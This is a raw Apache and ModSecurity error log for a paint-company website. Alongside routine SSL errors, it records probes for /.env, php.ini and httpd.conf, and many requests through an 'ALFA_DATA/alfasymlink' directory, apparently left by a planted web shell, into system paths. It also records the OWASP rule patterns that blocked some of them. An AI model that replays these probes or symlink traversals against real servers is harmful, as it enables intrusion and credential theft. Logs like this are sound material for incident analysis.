[Mon Oct 26 16:19:47.429227 2026] [security2:error] [pid 3084025:tid 3084025] [client 34.197.28.78:47714] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/memory1/uevent"] [unique_id "at-14zbNxAL0swfcTQjCdgAAACU"]
[Mon Oct 26 16:19:47.429250 2026] [security2:error] [pid 3084025:tid 3084025] [client 34.197.28.78:47714] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/memory1/uevent"] [unique_id "at-14zbNxAL0swfcTQjCdgAAACU"]
[Mon Oct 26 16:19:51.713230 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 100.28.49.152:61352] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:19:55.672693 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 52.3.102.51:60870] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:20:00.608459 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 185.191.171.13:29972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:20:07.496929 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.205.170.13:51361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:20:20.543668 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 85.208.96.205:60940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/store_user
[Mon Oct 26 16:20:27.926410 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.222.85.38:52833] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:20:33.224533 2026] [security2:error] [pid 3085795:tid 3085795] [client 16.216.88.190:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf/httpd.conf"] [unique_id "at-2EV3BHaKovmquNkFqwAAAAAA"]
[Mon Oct 26 16:20:33.224932 2026] [security2:error] [pid 3085795:tid 3085795] [client 16.216.88.190:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf/httpd.conf"] [unique_id "at-2EV3BHaKovmquNkFqwAAAAAA"]
[Mon Oct 26 16:20:33.225324 2026] [security2:error] [pid 3085795:tid 3085795] [client 16.216.88.190:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf/httpd.conf"] [unique_id "at-2EV3BHaKovmquNkFqwAAAAAA"]
[Mon Oct 26 16:20:35.508448 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 18.214.124.6:40925] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:20:43.746149 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.205.163.103:50063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:20:46.435431 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 85.208.96.193:30320] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/inet_diag/sections/__ex_table
[Mon Oct 26 16:20:47.810130 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 3.213.85.234:43981] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:20:51.651987 2026] [authz_core:error] [pid 3052342:tid 3052342] [client 195.178.110.159:61436] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Mon Oct 26 16:20:59.707781 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 54.225.199.17:48108] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:21:03.922695 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 54.163.136.244:49256] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:21:08.603171 2026] [security2:error] [pid 3084023:tid 3084023] [client 43.159.141.150:48472] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at-2NHMs9DEewnALzGZ0MgAAACM"]
[Mon Oct 26 16:21:08.615200 2026] [authz_core:error] [pid 3084023:tid 3084023] [client 43.159.141.150:48472] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Mon Oct 26 16:21:11.828246 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 44.216.172.204:5663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:21:15.954968 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.90.244.132:12841] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:21:20.130401 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.203.68.145:1907] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:21:31.811839 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 107.20.25.33:49002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.0/subsystem/slots/15/module/uevent
[Mon Oct 26 16:21:39.921254 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 54.147.182.90:23668] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:21:55.784228 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 44.205.192.249:62406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:21:59.777902 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 18.207.79.144:12736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:22:08.330532 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.210.204.255:56722] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:22:15.883039 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 18.214.251.19:2017] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:22:28.220724 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.221.105.234:41153] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:22:31.854032 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 34.231.45.47:25746] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/ohci-pci/unbind
[Mon Oct 26 16:22:35.945670 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.6.232.201:7450] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:22:43.936064 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.6.232.201:54411] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:22:52.048697 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 23.21.250.48:19843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:23:07.963247 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 35.173.18.61:64234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:23:08.994792 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.202:59956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/red_zone
[Mon Oct 26 16:23:11.731757 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 52.4.238.8:41041] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/uevent
[Mon Oct 26 16:23:28.058318 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.214.19.8:33047] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:23:31.844430 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 52.6.232.201:25958] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:23:51.808494 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.4.76.156:16598] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:24:00.237122 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 85.208.96.193:56548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/partial
[Mon Oct 26 16:24:11.822244 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 100.25.120.246:52993] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:24:16.105638 2026] [security2:error] [pid 3089355:tid 3089355] [client 100.29.160.53:5538] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory10/subsystem/devices/memory14/"] [unique_id "at-28Gl9busrkyxI7OQWXwAAAAI"]
[Mon Oct 26 16:24:16.105693 2026] [security2:error] [pid 3089355:tid 3089355] [client 100.29.160.53:5538] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory10/subsystem/devices/memory14/"] [unique_id "at-28Gl9busrkyxI7OQWXwAAAAI"]
[Mon Oct 26 16:24:24.176411 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 54.163.169.168:7555] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:24:40.253707 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 44.217.255.167:9620] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:24:44.827438 2026] [core:error] [pid 3084025:tid 3084025] (13)Permission denied: [client 85.208.96.199:34530] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-max/shrink
[Mon Oct 26 16:24:47.958908 2026] [ssl:error] [pid 3084056:tid 3084056] (22)Invalid argument: [client 3.221.156.96:1913] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:24:50.159596 2026] [security2:error] [pid 3083765:tid 3083765] [client 107.172.76.131:56389] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-3BqFL9aMETz-8AU8eAQAAAAQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 16:24:50.159684 2026] [security2:error] [pid 3083765:tid 3083765] [client 107.172.76.131:56389] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-3BqFL9aMETz-8AU8eAQAAAAQ"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 16:25:16.265127 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 34.205.170.13:8307] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:25:31.901953 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 3.232.39.98:54950] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:25:36.028553 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.212.106.171:51234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:25:39.868404 2026] [ssl:error] [pid 3052342:tid 3052342] (5)Input/output error: [client 3.221.50.71:12553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:25:43.853338 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 44.212.145.46:3333] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:25:55.882627 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 35.169.119.108:34846] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/firmware_node/physical_node/crash_notes_size
[Mon Oct 26 16:26:00.002360 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 34.194.226.74:43327] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/firmware_node/physical_node/rescan
[Mon Oct 26 16:26:11.847842 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 54.225.181.161:48580] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:26:16.471081 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 52.205.141.124:36434] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:26:23.909272 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 184.72.84.154:24828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:26:32.651798 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 23.21.175.228:22968] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:26:39.966080 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.1.157.90:11689] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:26:48.031924 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.86.59.155:20550] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:26:51.761494 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 52.44.174.136:14065] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:26:56.509839 2026] [authz_core:error] [pid 3065807:tid 3065807] [client 147.185.133.0:58442] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 16:26:57.972563 2026] [security2:error] [pid 3084053:tid 3084053] [client 130.12.180.165:52196] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-3kfCtl1PgaN9A_9xKewAAADQ"]
[Mon Oct 26 16:26:57.972809 2026] [security2:error] [pid 3084053:tid 3084053] [client 130.12.180.165:52196] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-3kfCtl1PgaN9A_9xKewAAADQ"]
[Mon Oct 26 16:26:57.973158 2026] [security2:error] [pid 3084053:tid 3084053] [client 130.12.180.165:52196] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at-3kfCtl1PgaN9A_9xKewAAADQ"]
[Mon Oct 26 16:26:59.635175 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 18.207.79.144:3606] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:27:03.952609 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 184.73.167.217:30759] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:27:13.842277 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 85.208.96.201:39394] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:27:15.626142 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 98.83.226.125:5160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/remove
[Mon Oct 26 16:27:24.578685 2026] [core:error] [pid 3058816:tid 3058816] (13)Permission denied: [client 54.147.238.89:44088] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/ehci-pci/unbind
[Mon Oct 26 16:27:30.066004 2026] [security2:error] [pid 3064975:tid 3064975] [client 43.153.15.51:57226] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/busca1/"] [unique_id "at-3ssdX-waAlDqXJHtVcAAAABY"]
[Mon Oct 26 16:27:32.742523 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 185.191.171.12:11896] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:27:35.490920 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.82.66.172:3939] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:27:47.551041 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.44.229.124:38654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:27:51.717536 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.217.255.167:21772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:27:56.888601 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 52.2.58.41:50416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0C0F:02/subsystem/drivers/hpet/uevent
[Mon Oct 26 16:28:03.344141 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 18.215.77.19:36906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:28:11.563908 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.156.55.147:46905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:28:20.055684 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.2.83.227:7593] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:28:23.350567 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 54.156.55.147:39349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:28:27.187716 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.204.89.12:64448] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:28:31.365105 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.227.156.153:36957] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:28:39.386719 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.145.82.217:57420] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:28:43.081147 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 44.207.207.36:55994] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:28:47.195488 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 184.72.84.154:13674] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:28:51.041104 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 100.28.49.152:51424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:03.042171 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.231.193.38:59280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:06.943179 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 3.224.104.67:50107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:15.025586 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 98.83.10.183:39378] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:18.905707 2026] [ssl:error] [pid 3064975:tid 3064975] (5)Input/output error: [client 3.221.222.168:20955] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:22.795526 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 44.215.210.112:48738] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:29.942713 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 85.208.96.198:36182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/cpu_slabs
[Mon Oct 26 16:29:30.724531 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 44.193.102.198:53822] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:31.687556 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 185.191.171.8:13246] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/scsi_host/host1/scan
[Mon Oct 26 16:29:34.758311 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 3.235.215.92:45480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:38.988405 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.197.82.195:17399] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:42.590917 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.235.172.108:38262] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:46.873161 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 23.21.228.180:50784] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:29:50.585581 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 3.210.114.189:32359] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:30:06.789493 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 18.235.158.19:10482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:30:22.243740 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.224.215.150:39009] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:30:23.038717 2026] [security2:error] [pid 3064975:tid 3064975] [client 16.216.88.35:28672] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/ddns-confgen"] [unique_id "at-4X8dX-waAlDqXJHtVegAAABY"]
[Mon Oct 26 16:30:23.038757 2026] [security2:error] [pid 3064975:tid 3064975] [client 16.216.88.35:28672] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sbin/ddns-confgen"] [unique_id "at-4X8dX-waAlDqXJHtVegAAABY"]
[Mon Oct 26 16:30:26.433772 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 54.84.161.62:51393] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:30:27.205860 2026] [authz_core:error] [pid 3084025:tid 3084025] [client 51.81.111.65:22792] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Mon Oct 26 16:31:02.298185 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.235.239.240:62297] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:31:06.224111 2026] [ssl:error] [pid 3084087:tid 3084087] (5)Input/output error: [client 3.232.82.72:10182] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:31:06.780435 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 85.208.96.196:48668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/validate
[Mon Oct 26 16:31:09.458942 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:09.500250 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:09.540843 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:09.583206 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 16:31:09.624118 2026] [proxy_fcgi:error] [pid 3084056:tid 3084056] [client 20.151.218.88:19331] AH01071: Got error 'Primary script unknown'
